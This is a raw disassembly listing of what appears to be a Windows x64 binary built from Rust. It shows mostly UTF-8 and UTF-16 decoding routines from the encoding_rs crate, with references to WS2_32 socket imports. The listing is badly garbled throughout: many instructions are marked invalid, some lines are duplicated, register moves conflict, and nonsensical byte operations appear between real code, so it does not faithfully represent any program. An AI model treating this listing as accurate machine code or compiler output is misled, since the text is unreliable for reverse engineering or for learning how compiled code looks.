jmp 0x140061737
mov r8, rax
cmp r8, 0x26
ja 0x140061803
xchg edx, eax
add byte [rax], al
invalid
xchg edx, eax
add byte [rax], al
add byte [rdx - 0x75], al
mov eax, dword [rdx + r8*4]
add al, 0x82
invalid
shr eax, 0x15
cmp r8, 0x26
jne 0x14006175c
mov r8d, 0x25
mov r9d, 0x113
add byte [rax], al
add byte [rcx - 0x47], al
adc eax, dword [rcx]
add byte [rax], al
jmp 0x14006176d
mov r9d, dword [rdx + r8*4 + 4]
mov ecx, dword [rdx + rax*4 + 4]
shr r9d, 0x15
test r8, r8
je 0x1400617ce
invalid
adc eax, 0x74c0854d
dec r8
dec r8
mov r10d, 0x1fffff
and r10d, dword [rdx + r8*4]
mov rdx, rax
ret 0xf748
ror byte [rcx + rax - 0x36], cl
ret 0xf748
ror byte [rcx + rax - 0x36], cl
je 0x1400617c5
sub ecx, r10d
dec r9
xor edx, edx
lea r10, [0x140170dc0]
lea edx, [0x140170dc0]
lea edx, [0x140170dc0]
adc eax, 0x10f62f
mov r8, rax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x7f], cl
clc
adc al, byte [rcx]
add byte [rax], al
cmp r8, 0x112
ja case.0x140037de3.211
movzx r11d, byte [r8 + r10]
add edx, r11d
invalid
adc byte [rcx + rax - 0x26], al
fidivr dword [rcx]
retf 0xd77
cmp edx, ecx
ja 0x1400617c2
inc r8
cmp r9, r8
jne 0x1400617a0
mov rax, r9
mov eax, ecx
jmp 0x1400617c5
mov rax, r8
and al, 1
add rsp, 0x28
pop rdi
pop rsi
ret
xor r10d, r10d
mov rdx, rax
not rdx
add rdx, r9
jne 0x140061782
jmp 0x1400617c5
cmp rax, 0x114
add byte [rax], al
mov ecx, 0x113
cmovb rax, rcx
ror dword [rbp + rcx*4 + 5], 0x84
rcl dword [rax], 0
adc byte [rax], al
ror dword [rbp + rcx*4 + 5], 0x84
rcl dword [rax], 0
adc byte [rax], al
adc byte [rax], al
mov edx, 0x113
add byte [rax], al
mov rcx, rax
call fcn.140160ed0
ud2
lea r8, [0x14016d960]
mov ecx, 0x27
mov edx, 0x27
call fcn.140160ed0
ud2
int3
lea rdx, str.LayoutError
mov r8d, recv
jmp rax
sub esp, 0x28
mov r8, rdx
movzx eax, byte [rcx + 0x28]
lea rdx, [0x14020875c]
movsxd rax, dword [rdx + rax*4]
add byte [rax + 0x63], cl
add al, 0x82
add rax, rdx
jmp rax
invalid
mov rdx, r8
mov edi, eax
mov rsi, rdx
jmp case.0x140010662.503
add byte [rax + 0x39], cl
and byte [r15], cl
add r8, 2
sete al
xor edi, edi
invalid
inc dword [rdx + rdx*8 + 0xaf850f]
add byte [rax], al
test dl, dl
jne case.0x140010662.503
scasd eax, dword [rdi]
add byte [rax], al
invalid
scasd eax, dword [rdi]
add byte [rax], al
add byte [rax + rax*8 + 0xa7850f], al
add byte [rax], al
test al, al
jne case.0x140010662.503
cmp rax, rdx
ror byte [rdi], 1
test byte [rsi + 0x48000000], cl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x131a37
je case.0x140010662.503
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, reloc.WS2_32.dll_ioctlsocket
adc eax, 0x131a37
jmp 0x140061960
mov r9, r8
mov ecx, eax
add r9, 3
jb 0x140061986
lea rax, [r8 + 1]
shr rax, 1
add byte [rax], al
cmp rax, rdx
je case.0x140010662.503
lea rdx, [0x140193388]
cmp rax, rdx
je case.0x140010662.503
invalid
add byte [rax + 0x39], cl
sal byte [rdi + rbp + 0x48], 1
invalid
lea rdx, [0x140193360]
lea rdx, [0x140193360]
cmp rax, rdx
je case.0x140010662.503
mov rdx, r8
call fcn.1400693c0
add byte [rax - 0x7d], cl
clc
add dword [rbp + 0x13], esi
add byte [rax - 0x7d], cl
clc
add dword [rbp + 0x13], esi
cmp rsi, rdx
cmovbe rsi, rdx
jmp case.0x140010662.503
add r8, 2
xor edi, edi
mov rax, rdi
mov rdx, rsi
add rsp, 0x28
sub byte [rdi + 0x5e], bl
ret
lea rcx, str.Must_not_use_a_decoder_that_has_finished.
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
adc eax, dword [rax]
adc eax, dword [rax]
mov edx, 0x29
call fcn.140160fb0
ud2
in al, dx
sub byte [rcx - 0x77], cl
ror byte [rdi], 1
mov dh, 0x41
sub byte [rax - 0x73], cl
adc eax, 0x1a6dc4
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
test byte [rdx + rdx*8 + 0x10a850f], 0
add byte [rax + rax*8 + 0x102850f], al
add byte [rax], al
invalid
mov esi, 1
lea rax, [0x140193388]
add byte [rcx - 0x7d], cl
rol byte [rdx], 0xf
invalid
call fcn.140061e06
add byte [rax - 9], cl
loop 0x140061a99
mov edi, eax
seto dl
inc rdi
nop
ret 0xff48
xchg esp, eax
sal byte [rcx], 0xf6
test dl, dl
jne 0x140061b16
add byte [rax], al
add byte [rax], al
test al, al
jne 0x140061b16
mov rax, qword [rcx + 0x20]
lea rdx, [0x140193360]
lea edx, [0x140193360]
mov esi, 1
cmp rax, rdx
je 0x140061b16
adc eax, dword [rax]
jmp 0x140061aee
mul edx
seto r9b
add rax, 3
setb dl
xchg edx, eax
ret 0xf631
invalid
cmpsb byte [rsi], byte [rdi]
sbb byte [rbx], dl
adc eax, dword [rax]
cmp rax, rdx
je 0x140061b16
lea rdx, [0x140193360]
cmp rax, rdx
je 0x140061b16
mov rdx, r8
mov edx, eax
call fcn.140069250
cmp rax, 1
jne 0x140061b14
push rbp
ja 0x140061afa
add byte [rax - 0x7d], cl
clc
add dword [rbp + 0x13], esi
cmp rdi, rdx
cmovbe rdi, rdx
jmp 0x140061b16
xor esi, esi
mov rax, rsi
mov rdx, rdi
add rsp, 0x28
mov rbx, rdx
sub rbx, r9
lea rax, [rcx + r9]
mov esi, eax
neg esi
and esi, 7
lea rdi, [rsi + 0x10]
cmp rdi, rbx
jbe 0x140061b90
xor esi, esi
jmp 0x140061c40
invalid
add byte [rdi], cl
nop dword [rax + rax]
invalid
add byte [rax], al
test rsi, rsi
je 0x140061c10
invalid
js 0x140061bbe
test dil, dil
js 0x140061dde
dec dword [rdi]
mov byte [rcx], bl
add al, byte [rax]
add byte [rbx + 0x467403fe], al
je 0x140061c10
cmp esi, 3
je 0x140061c10
movzx edi, byte [rax + 3]
js 0x140061bf7
test dil, dil
dec dword [rdi]
mov byte [rdx], bl
add al, byte [rax]
add byte [rbx + 0x107406fe], al
js 0x140061e15
sbb al, byte [rdx]
add byte [rax], al
cmp esi, 6
je 0x140061c10
movzx edi, byte [rax + 6]
test dil, dil
js 0x140061e1f
lea rdi, [rbx - 0x10]
lea r14, [r10 + r9]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov r15, qword [r14 + rsi - 8]
and r15, r11
mov r12, qword [r14 + rsi]
cmp rsi, rbx
jae case.0x1400e8349.98
nop dword [rax]
movzx edi, byte [rax + rsi]
cmp ebx, esi
jne 0x140061c50
jmp case.0x1400e8349.98
lea rax, [rsi + r9]
invalid
add r9, rsi
add r9, 4
rol dword [rcx + rcx*2], 0x39
invalid
rol dword [rcx + rcx*2], 0x39
ror dword [rdi], 1
xchg dword [rdi + 1], edi
add byte [rax], al
cmp ecx, edx
ja 0x140061e32
mov r9, rax
lea eax, [rdi + 0x3e]
cmp al, 0x1e
jae case.0x14002d090.280
invalid
xchg dword [rax + 1], ebx
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x3c
movzx edi, byte [rcx + rax]
test dil, dil
js 0x140061cb3
jmp 0x140061dcc
add al, byte [rcx - 0x40]
jmp 0x1190e5e2a
add ecx, dword [rax - 0x7d]
rol byte [rbx], 0x41
mov ecx, edi
and r9b, 0xf0
and cl, 0xf0
cmp r9b, 0xe0
je case.0x14002a035.356
test dil, dil
or dword [rdx], eax
movzx eax, byte [rax + r8]
movzx edi, dil
movzx edi, byte [rdi + r8 + 0x80]
add byte [rax], al
add byte [rax], al
and edi, eax
shr ebx, 6
or ebx, edi
and esi, 0xffffffc0
lea eax, [rbx + rsi*4]
cmp eax, 0x202
add byte [rax], al
add byte [rax], al
jne 0x140061e7d
lea rax, [r9 + 4]
lea rsi, [r9 + 8]
xchg dword [rbp + 0xf000000], eax
mov dh, 0x3c
add dword [rax - 0x7c], eax
test dil, dil
invalid
mov cl, bh
invalid
test dil, dil
js 0x140061cb3
add r9, 5
cmp r9, rdx
jbe 0x140061b67
invalid
invalid
jmp 0x140061f0a
add r9, 3
xchg byte [rsi - 0x16000003], cl
sub al, 1
add byte [rax], al
invalid
add byte [rsi + 2], bh
mov esi, 2
jmp 0x140061c9f
mov esi, 5
jmp 0x140061c9f
mov esi, 6
jmp 0x140061c9f
cmp rax, rdx
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 1], cl
ror byte [rcx - 0x77], 0xc2
invalid
inc rax
mov r10, rax
invalid
ret 0x894c
mov rax, r10
cmp r10, rdx
cmp edx, edx
jae 0x140061e80
movzx r10d, byte [rcx + rax]
test r10b, r10b
jns 0x140061e40
invalid
call 0x17e50aba1
cmp cl, 0x1e
jae case.0x1400382cc.181
mov rax, r9
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop r15
ret
pop rax
add ecx, dword [rcx + 0x39]
mov ecx, ecx
call fcn.140160ed0
ud2
invalid
invalid
str word [rdi]
or ecx, dword [rbp + rcx*4 + 5]
add byte [rdi], ah
invalid
adc dword [rax], eax
mov rcx, r9
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcutf_8.rs
mov rcx, r9
invalid
call fcn.140160e60
int3
sub rsp, 0x60
mov rbx, r9
retf
mov r14, r8
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
mov r13, qword [rsp + 0xc8]
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
movsb byte [rdi], byte [rsi]
mov r12, qword [rsp + 0xc0]
movzx ecx, byte [rdx + 0x28]
invalid
invalid
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
mov dh, 0x4a
sub byte [rbp + 0x31], al
sub byte [rbp + 0x31], al
dec dword [rbp - 0x7b]
leave
je case.0x1400619cb.31
lea rax, [0x1402087b4]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
invalid
jmp rcx
mov eax, ecx
lea rcx, [0x1402087e0]
sbb al, byte [rax]
sbb al, byte [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
invalid
enter 0xffffffffffffe0ff, 0xffffffffffffffc6
loopne 0x140061f40
mov byte [rsi + 8], 0
or byte [rax], r8b
add byte [rax], al
add byte [rax], al
jmp 0x140062142
mov cl, 1
mov qword [rsp + 0x28], r13
insb byte [rdi], dx
and al, 0x28
mov qword [rsp + 0x20], r12
and al, 0x20
mov byte [rsp + 0x38], 0xbb
mov qword [rsp + 0x30], 0
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax - 0x77], cl
int1
mov rdx, rdi
mov r8, r14
xor r9d, r9d
call fcn.140062360
add byte [rax], al
add byte [rax], al
jmp 0x140062142
add dword [rcx], 0
add byte [rcx], dh
invalid
xor ebx, ebx
jmp case.0x140062213.9
adc al, 1
add byte [rax], al
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r12
and al, 0x38
mov ebx, 0x2444c748
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, rdi
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
movzx ecx, byte [r14]
cmp ecx, 0xef
je 0x140062040
cmp ecx, 0xfe
je 0x140062060
cmp ecx, 0xff
jne case.default.0x14006202f
mov byte [rdi + 0x28], 7
inc r15
mov cl, 7
invalid
movzx ecx, cl
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
add ecx, eax
invalid
add ecx, eax
jmp rcx
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
sub byte [r9 + r9*2], r8b
inc edi
mov byte [rdi + 0x28], 4
inc r15
mov cl, 4
movzx ecx, cl
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
nop dword [rax + rax]
mov byte [rdi + 0x28], 6
sar edi, 0xe1
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov byte [rdi + 0x28], 9
sub byte [rcx], cl
mov cl, 9
movzx ecx, cl
leave
leave
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp r15, rbx
jae case.0x140061f77.4
invalid
cmp byte [r14 + r15], 0xbb
jne case.0x140061f77.4
mov byte [rdi + 0x28], 5
inc r15
inc edi
mov cl, 5
movzx ecx, cl
movsxd rcx, dword [rax + rcx*4]
mov byte [rax + 1], cl
sar edi, 0xe1
jmp rcx
invalid
loope 0x14006210e
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r13
insb byte [rdi], dx
and al, 0x28
mov qword [rsp + 0x20], r12
dec dword [rcx + rcx*4 + 0x6c]
mov qword [rsp + 0x28], r13
and al, 0x28
mov qword [rsp + 0x20], r12
and al, 0x20
and dh, al
and al, 0x30
xor byte [rcx], al
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov r8, r14
mov r9, rbx
call fcn.1400624e0
in al, 3
add byte [rax], al
in al, 3
add byte [rax], al
movzx eax, byte [rsp + 0x50]
mov dh, 0x44
and al, 0x50
movzx ecx, word [rsp + 0x51]
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
push rsp
and al, 0x48
mov r8, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
and al, 0x58
and al, 0x58
pop rax
lea rcx, str.Must_not_use_a_decoder_that_has_finished.
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
lea eax, [0x140195578]
xor dl, byte [rbx]
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
xor al, 0x13
xor al, 0x13
lea eax, [0x140195578]
xor al, 0x13
add byte [rdx + 0x29], bh
mov edx, 0x29
add byte [rax], al
add al, ch
jo 0x14006212c
call fcn.140160fb0
str word [rdi]
or ecx, dword [rax - 0x7d]
invalid
invalid
ud2
add rsp, 0x60
add esp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax], al
add byte [rax], al
cmp byte [r14], 0xef
jne case.default.0x140062179
mov byte [rdi + 0x28], 4
inc r15
invalid
mov cl, 4
movzx ecx, cl
movsxd rcx, dword [rax + rcx*4]
or al, 0x88
invalid
add rcx, rax
jmp rcx
sar edi, 0xe1
nop dword [rax + rax]
mov byte [rdi + 0x28], 9
sub byte [r9], r9b
leave
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
invalid
loope 0x1400621f9
nop word cs:[rax + rax]
cmp byte [r14], 0xfe
jne 0x1400621c0
mov byte [rdi + 0x28], 6
inc r15
add ecx, eax
jmp rcx
add byte [rax], r8b
mov byte [rdi + 0x28], 9
mov cl, 9
movzx ecx, cl
mov dh, 0xc9
mov dh, 0xc9
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
nop word cs:[rax + rax]
cmp byte [r14], 0xff
je case.default.0x1400621f6
push qword [rdx + rbx - 0x3a]
sub byte [r9], r9b
invalid
mov byte [rdi + 0x28], 9
or dword [rcx - 0x3649f0f7], esi
mov cl, 9
movzx ecx, cl
movsxd rcx, dword [rax + rcx*4]
invalid
add rcx, rax
jmp rcx
invalid
mov byte [rdi + 0x28], 7
inc r15
mov cl, 7
movzx ecx, cl
cmp r15, rbx
jae 0x14006229f
add byte [rax], al
add byte [rax], al
cmp byte [r14 + r15], 0xbf
cmp byte [rsi + rdi], 0xbf
jne 0x14006229f
mov byte [rdi + 0x28], 9
inc r15
lea rax, [0x140193388]
cmp qword [rdi + 0x20], rax
je 0x140062302
mov qword [rdi + 0x20], rax
mov rcx, rdi
stc
stc
mov dl, 1
jmp 0x1400622fa
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x39], cl
cmp r15, rbx
jae 0x14006225b
cmp r15, rbx
jae 0x14006225b
cmp byte [r14 + r15], 0xff
je 0x1400622dd
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r12
mov byte [rsp + 0x38], 0xfe
jmp 0x140061fde
cmp r15, rbx
jae 0x1400622c4
cmp byte [r14 + r15], 0xfe
jne 0x1400622c4
mov byte [rdi + 0x28], 9
inc r15
lea rax, [0x140193360]
cmp qword [rdi + 0x20], rax
je 0x140062302
mov qword [rdi + 0x20], rax
mov rcx, rdi
mov dl, 0xb
jmp 0x1400622fa
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r13
insb byte [rdi], dx
and al, 0x28
mov qword [rsp + 0x20], r12
mov rcx, rsi
mov rdx, rdi
mov r8, r14
mov r9, rbx
call fcn.140068ec0
jmp 0x140062142
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r12
mov byte [rsp + 0x38], 0xff
jmp 0x140061fde
invalid
mov byte [rdi + 0x28], 9
inc r15
inc edi
lea rax, reloc.WS2_32.dll_ioctlsocket
cmp qword [rdi + 0x20], rax
je 0x140062302
mov qword [rdi + 0x20], rax
mov rcx, rdi
mov dl, 0xa
xor r8d, r8d
call fcn.140069080
sub rbx, r15
add r14, r15
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r12
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov r8, r14
mov r9, rbx
call fcn.1400624e0
movzx eax, byte [rsp + 0x50]
movzx ecx, word [rsp + 0x51]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x58]
test al, al
jne 0x140062346
mov byte [rdi + 0x28], 0xa
add r8, r15
mov byte [rsi + 8], al
or byte [rsi - 0x77], r12b
or qword [rcx + r9*4 + 6], r9
or dword [rcx + rcx*4 + 6], ecx
or byte [rsi - 0x77], r12b
or qword [rcx + r9*4 + 6], r9
or dword [rcx + rcx*4 + 6], ecx
or dword [rcx + rcx*4 + 6], ecx
mov qword [rsi + 0x10], rdx
jmp 0x140062142
mov rsi, rcx
mov r12, qword [rsp + 0xc8]
mov r13, qword [rsp + 0xc0]
mov byte [rdx + 0x28], 9
cmp qword [rsp + 0xd0], 0
je 0x1400623eb
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x20], ebp
mov dword [rsp + 0x20], ebp
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov r8, r15
mov eax, edi
mov eax, edi
mov r9, r14
call fcn.1400624e0
movzx eax, byte [rsp + 0x50]
movzx ecx, word [rsp + 0x51]
and al, 0x51
and al, 0x51
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
test al, al
jne 0x1400623d8
mov byte [rdi + 0x28], 0xa
mov byte [rsi + 8], al
mov word [rsi + 9], cx
mov qword [rsi], rdx
mov qword [rsi + 0x10], r8
jmp fcn.140062494
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0x47], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x48]
lea r8, [rsp + 0x47]
mov r9d, 1
mov rdx, rdi
cli
cli
call fcn.1400624e0
ret 0
movzx eax, byte [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
test eax, eax
je 0x14006243a
cmp eax, 2
jne 0x1400624a4
xor ecx, ecx
movzx edx, word [rsp + 0x51]
jmp fcn.140062486
mov rax, r12
sub rax, rbx
jb 0x1400624be
add r13, rbx
mov qword [rsp + 0x28], rax
fisttp qword [rax - 0x77]
and al, 0x28
mov qword [rsp + 0x20], r13
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov r8, r15
mov r9, r14
call fcn.1400624e0
movzx eax, byte [rsp + 0x50]
mov r8, qword [rsp + 0x58]
test al, al
jne 0x140062479
invalid
add al, 0xc6
sub byte [r10], r9b
mov byte [rdi + 0x28], 0xa
movzx edx, word [rsp + 0x51]
mov rcx, qword [rsp + 0x48]
add rbx, r8
add ebx, eax
add ebx, eax
lea rcx, str.Output_buffer_must_have_been_too_small.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_core_0.3.28_src_task__internal_atomic_waker.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
adc eax, dword [rax]
mov edx, 0x27
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, rbx
mov rdx, r12
call fcn.140160e60
ud2
int3
in al, dx
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov r15, r9
add byte [rax], al
add byte [rbp - 0x77], cl
iretd
mov rsi, r8
mov rdi, rdx
mov r12, rcx
mov r11, qword [rsp + 0x118]
mov ebx, dword [rsp + 0x118]
mov ebx, dword [rsp + 0x118]
mov rbp, qword [rsp + 0x110]
movzx eax, byte [rdx]
mov r9, qword [rdi + 8]
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], r11
lea rax, [rsi + 8]
mov qword [rsp + 0x70], rax
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x50], r11
sub r11, rax
jb 0x140068a46
mov rdx, r12
lea r10, [rsi + rcx]
mov r15, qword [rsp + 0x38]
jl 0x140062591
cmp byte [rax - 0x75], cl
jl 0x140062596
sub byte [rax + 0x29], cl
iretd
cmp r11, rdi
mov rsi, rdi
cmovb rsi, r11
test ch, ch
js 0x140062768
mov edx, dword [rsp + 0x28]
jmp 0x140062768
add rcx, r14
lea r10, [r14 + rax]
add rax, r14
add rax, 2
cmp rax, qword [rsp + 0x50]
jae 0x140066481
inc rcx
movzx eax, bpl
invalid
mov r9, qword [rsp + 0x60]
movzx r11d, word [r9 + rax*2 - 0x100]
test r11w, r11w
je 0x140065a07
movzx eax, r11w
cmp eax, 0x800
jae 0x1400627c8
mov r8d, eax
shr r8d, 0xc
or r8b, 0xe0
mov rsi, qword [rsp + 0x38]
mov byte [rsi + r10], r8b
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsi + r10 + 1], al
add byte [rax], al
add byte [rdi + 2], bh
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add rdi, r10
and r11b, 0x3f
invalid
or r11b, 0x80
mov byte [rsi + rdi], r11b
mov byte [rsi + rdi], bl
invalid
mov byte [rsi + rdi], bl
add rax, r10
mov qword [rsp + 0x48], rax
cmp rcx, rdx
jae 0x140067212
add byte [rdx], cl
invalid
lea r8, [rax + 2]
cmp r8, qword [rsp + 0x40]
jae 0x140064622
invalid
mov rsi, qword [rsp + 0x30]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r10d, byte [rsi + rcx]
inc rcx
test r10b, r10b
js 0x140062873
mov r8, qword [rsp + 0x38]
mov byte [r8 + rax], r10b
mov r8, qword [rsp + 0x48]
lea rax, [r8 + 1]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
cmp r10b, 0x3b
ja 0x140062892
cli
cmp esi, dword [rdi + 0x38]
cmp rdx, rcx
je 0x14006462d
add r8, 3
cmp r8, qword [rsp + 0x40]
jb 0x140062830
jb 0x140062830
jmp 0x140064622
movzx r8d, r10b
movzx r11d, word [r9 + r8*2 - 0x100]
add bh, bh
invalid
dec dword [rcx - 0x77]
ret 0x4566
test ebx, ebx
jne 0x1400627a0
add bh, bh
invalid
ret 0x4566
jmp 0x140065a07
mov r11, qword [rsp + 0x40]
cmp rcx, rdx
jbe 0x140062554
lea r8, [0x140192e70]
call fcn.140160e60
mov ah, 0xe5
str word [rdi]
invalid
mov ah, 0xe5
str word [rdi]
or ecx, dword [rax - 0x77]
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], r11
movzx edx, byte [rdi + 1]
movzx edx, byte [rdi + 1]
test edx, edx
add byte [rbp - 0x7b], cl
dec dword [rdi]
test al, dh
sbb al, 0
add byte [rcx - 0x7d], cl
cmp ebx, 3
invalid
invalid
cmp ebx, 3
jb case.default.0x1400628ee
adc byte [rax], al
add byte [rdi], cl
mov dh, 0x4f
add cl, byte [rdi]
mov dh, 6
movzx ecx, byte [rdi + 2]
movzx eax, byte [rsi]
dec edx
lea r8, [0x140208854]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
invalid
loop 0x1400628b7
mov byte [rdi + 1], 0
add dword [r8], r8d
lea edx, [rax + 0x5f]
cmp cl, 3
jne 0x14006630a
cmp dl, 0x53
jae 0x14006630a
mov qword [rsp + 0x60], rdi
movzx eax, dl
add eax, 0x3041
jmp 0x140066329
test r15, r15
je 0x14006444b
xor eax, eax
xor ecx, ecx
jmp 0x140062947
lea r8, [rcx + 1]
inc rax
mov byte [rbp + rcx], dl
mov rcx, r8
cmp r15, rax
je 0x140064571
lea rdx, [rcx + 2]
cmp rdx, r11
jae 0x14006455e
add byte [rax], al
add byte [rax], al
movzx edx, byte [rsi + rax]
test dl, dl
jns 0x140062930
mov r8d, edx
shr r8b, 6
or r8b, 0x9c
mov byte [rbp + rcx + 1], r8b
and dl, 0x3f
or dl, 0x80
mov byte [rbp + rcx + 2], dl
lea r8, [rcx + 3]
mov dl, 0xef
jmp 0x140062934
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], r11
mov qword [rsp + 0x48], 0
cmp byte [rdi + 7], 0
je 0x140064456
cmp r11, 3
jb case.default.0x1400628ee
movzx eax, byte [rdi + 8]
mov byte [rdi + 7], 0
mov byte [rbp], al
mov qword [rsp + 0x48], 1
mov eax, 1
movzx ebx, byte [rdi + 9]
test bl, bl
jne 0x140064464
xor ecx, ecx
mov r8, rax
lea rax, [rsi + 8]
mov qword [rsp + 0x70], rax
lea rbx, [0x1401928a0]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], r11
mov r14, r11
sub r14, r8
jb case.0x14002bf98.451
mov rbp, r12
mov rax, qword [rsp + 0x30]
add rax, rcx
mov r10, qword [rsp + 0x38]
mov r12, r15
sub r12, rcx
cmp r14, r12
mov r9, r12
cmovb r9, r14
lea r11, [r10 + r8]
mov edx, eax
xor edx, r11d
test dl, 7
jne 0x140062a36
mov r13d, eax
neg r13d
and r13d, 7
lea rdx, [r13 + 0x10]
cmp rdx, r9
jbe 0x140062a6e
mov rsi, r8
xor edx, edx
cmp rdx, r9
mov r8, rsi
jae 0x140064678
nop word [rax + rax]
movzx edi, byte [rax + rdx]
test dil, dil
js 0x140062b58
mov byte [r11 + rdx], dil
inc rdx
cmp r9, rdx
jne 0x140062a50
jmp 0x140064678
test r13, r13
je 0x1400632d9
movzx edi, byte [rax]
test dil, dil
js case.0x1400619cb.36
mov byte [r11], dil
mov edx, 1
cmp r13d, 1
je 0x1400632db
movzx edi, byte [rax + 1]
test dil, dil
js 0x140062b58
mov byte [r11 + 1], dil
mov edx, 2
cmp r13d, 2
je 0x1400632db
movzx edi, byte [rax + 2]
test dil, dil
js 0x140062b58
mov byte [r11 + 2], dil
mov edx, 3
cmp r13d, 3
je 0x1400632db
movzx edi, byte [rax + 3]
test dil, dil
js 0x140062b58
mov byte [r11 + 3], dil
mov edx, 4
cmp r13d, 4
je 0x1400632db
mov rsi, r8
movzx edi, byte [rax + 4]
test dil, dil
js case.0x14002bf98.353
mov byte [r11 + 4], dil
mov edx, 5
cmp r13d, 5
mov r8, rsi
je 0x1400632db
movzx edi, byte [rax + 5]
test dil, dil
js case.0x14002bf98.353
mov byte [r11 + 5], dil
mov edx, 6
cmp r13d, 6
mov r8, rsi
je 0x1400632db
movzx edi, byte [rax + 6]
test dil, dil
js case.0x14002bf98.353
mov byte [r11 + 6], dil
mov edx, 7
mov r8, rsi
jmp 0x1400632db
mov r12, rbp
mov r15, qword [rsp + 0x28]
mov r10, qword [rsp + 0x50]
lea rbx, [0x1401928a0]
lea r13, [0x14018d774]
lea rbp, [0x14018f0e0]
add rcx, rdx
lea rax, [rdx + r8]
mov qword [rsp + 0x48], rax
add rdx, r8
add rdx, 3
cmp rdx, r10
jae 0x140067226
inc rcx
mov r14, rcx
mov esi, 0xff
lea edx, [rdi + 0x7f]
cmp dl, 0x7d
ja 0x1400632b3
cmp r14, r15
jae 0x1400662ef
mov rcx, qword [rsp + 0x30]
movzx r9d, byte [rcx + r14]
lea rcx, [r14 + 1]
lea r10d, [r9 - 0x30]
cmp r10b, 9
jbe 0x140062c13
cmp dl, 0x1f
jbe 0x140062cc4
lea r10d, [r9 + 0x5f]
cmp r10b, 0x5e
jae 0x140062dd4
lea r8d, [rdi + 0x50]
cmp r8b, 0x48
jae 0x140062f64
movzx edx, r8b
imul rdx, rdx, 0x5e
movzx r8d, r10b
add r8, rdx
lea rdx, [0x14018f298]
movzx edx, word [rdx + r8*2]
jmp 0x140062f27
cmp rcx, r15
mov rdi, qword [rsp + 0x60]
jae 0x140066c4b
mov r8, qword [rsp + 0x30]
movzx r11d, byte [r8 + r14 + 1]
add r11b, 0x7f
cmp r11b, 0x7d
